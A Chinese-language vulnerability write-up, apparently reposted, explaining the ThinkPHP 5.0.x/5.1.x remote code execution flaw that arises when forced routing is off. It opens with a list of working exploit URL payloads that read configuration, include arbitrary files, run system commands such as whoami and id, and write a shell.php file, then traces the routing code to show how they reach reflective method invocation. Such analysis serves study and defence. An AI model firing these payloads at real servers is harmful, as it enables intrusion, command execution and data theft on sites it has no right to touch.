通俗易懂的thinkphp5.0.x 5.1.x 未開啟強制路由導致RCE分析


漏洞復現



5.0.x

?s=index/think\config/get&name=database.username # 獲取配置信息
?s=index/\think\Lang/load&file=../../test.jpg    # 包含任意文件
?s=index/\think\Config/load&file=../../t.php     # 包含任意.php文件
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami

5.1.x

?s=index/\think\Request/input&filter[]=system&data=pwd
?s=index/\think\view\driver\Php/display&content=<?php phpinfo();?>
?s=index/\think\template\driver\file/write&cacheFile=shell.php&content=<?php phpinfo();?>
?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id

影響版本

5.0.7<=thinkphp<=5.0.22
5.1.x

漏洞分析

直接在入口文件處下斷點

一路跟到run()方法里面的路由檢測部分

跟進routeCheck()方法

public function routeCheck()
 {  $path = $this->request->path();  $depr = $this->config('app.pathinfo_depr');  // 路由檢測  $files = scandir($this->routePath);  foreach ($files as $file) {  if (strpos($file, '.php')) {  $filename = $this->routePath . DIRECTORY_SEPARATOR . $file;  // 導入路由配置  $rules = include $filename;  if (is_array($rules)) {  $this->route->import($rules);  }  }  }  if ($this->config('app.route_annotation')) {  // 自動生成路由定義  if ($this->debug) {  $this->build->buildRoute($this->config('app.controller_suffix'));  }  $filename = $this->runtimePath . 'build_route.php';  if (is_file($filename)) {  include $filename;  }  }  // 是否強制路由模式  $must = !is_null($this->routeMust) ? $this->routeMust : $this->config('app.url_route_must');  // 路由檢測 返回一個Dispatch對象  return $this->route->check($path, $depr, $must, $this->config('app.route_complete_match'));  } 

看到最上面$path通過path()方法獲取,跟進一下path方法

public function path()
 {  if (is_null($this->path)) {  $suffix = $this->config->get('url_html_suffix');  $pathinfo = $this->pathinfo();  if (false === $suffix) {  // 禁止偽靜態訪問  $this->path = $pathinfo;  } elseif ($suffix) {  // 去除正常的URL后綴  $this->path = preg_replace('/\.(' . ltrim($suffix, '.') . ')$/i', '', $pathinfo);  } else {  // 允許任何后綴訪問  $this->path = preg_replace('/\.' . $this->ext() . '$/i', '', $pathinfo);  }  }  return $this->path;  } 

最后返回的$path是$pathinfo獲取來的,$pathinfo又是通過pathinfo()方法獲取來的,跟進pathinfo()方法

通過代碼可以發現是通過URL獲取來的,根據debug最后返回的值是我們傳入的index/\think\Container/invokefunction
回到path方法,經過一些處理,返回值還是index/\think\Container/invokefunction

再回到routeCheck()方法,可以看到有如下判斷

// 是否強制路由模式
$must = !is_null($this->routeMust) ? $this->routeMust : $this->config('app.url_route_must'); 

如果開啟了強制路由,那么我們輸入的路由將報錯導致后面導致程序無法運行,也就不存在RCE漏洞,但是默認是開啟的
上面我們就分析完了routeCheck函數,得到了$dispatch的值

接下來我們走到了

$data = $dispatch->run();

跟進一下run()方法
首先是將/替換成了|,得到了$url

然后使用parseUrl()方法處理$url得到$result
跟進parseUrl()方法,關注如下一行代碼

list($path, $var) = $this->parseUrlPath($url);

再跟進parseUrlPath()方法

將$url里面的|換成了/,然后通過如下判斷根據/將其進行分割成數組存入$path

elseif (strpos($url, '/')) {
 // [模塊/控制器/操作]  $path = explode('/', $url); 

然后退出parseUrlPath()方法,退出parseUrl()方法,狀態如下

接着傳入$result實例化Moudle類然后執行run方法
跟進run()方法,接着通過URL獲取控制器名

獲取操作名

接着跟進實例化控制器,controller方法,保存在$instance


跟進parseModuleAndClass()方法

得到$class和$module的值
接着回到$controller方法,判斷類是否存在,如果存在則調用__get()方法,然后回到run方法

判斷方法在當前環境是否可以調用,當然可以,然后得到$call和$vars


然后執行

return Container::getInstance()->invokeMethod($call, $vars);

跟進invokeMethod()方法,通過反射方式調用方法


成功實現RCE


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM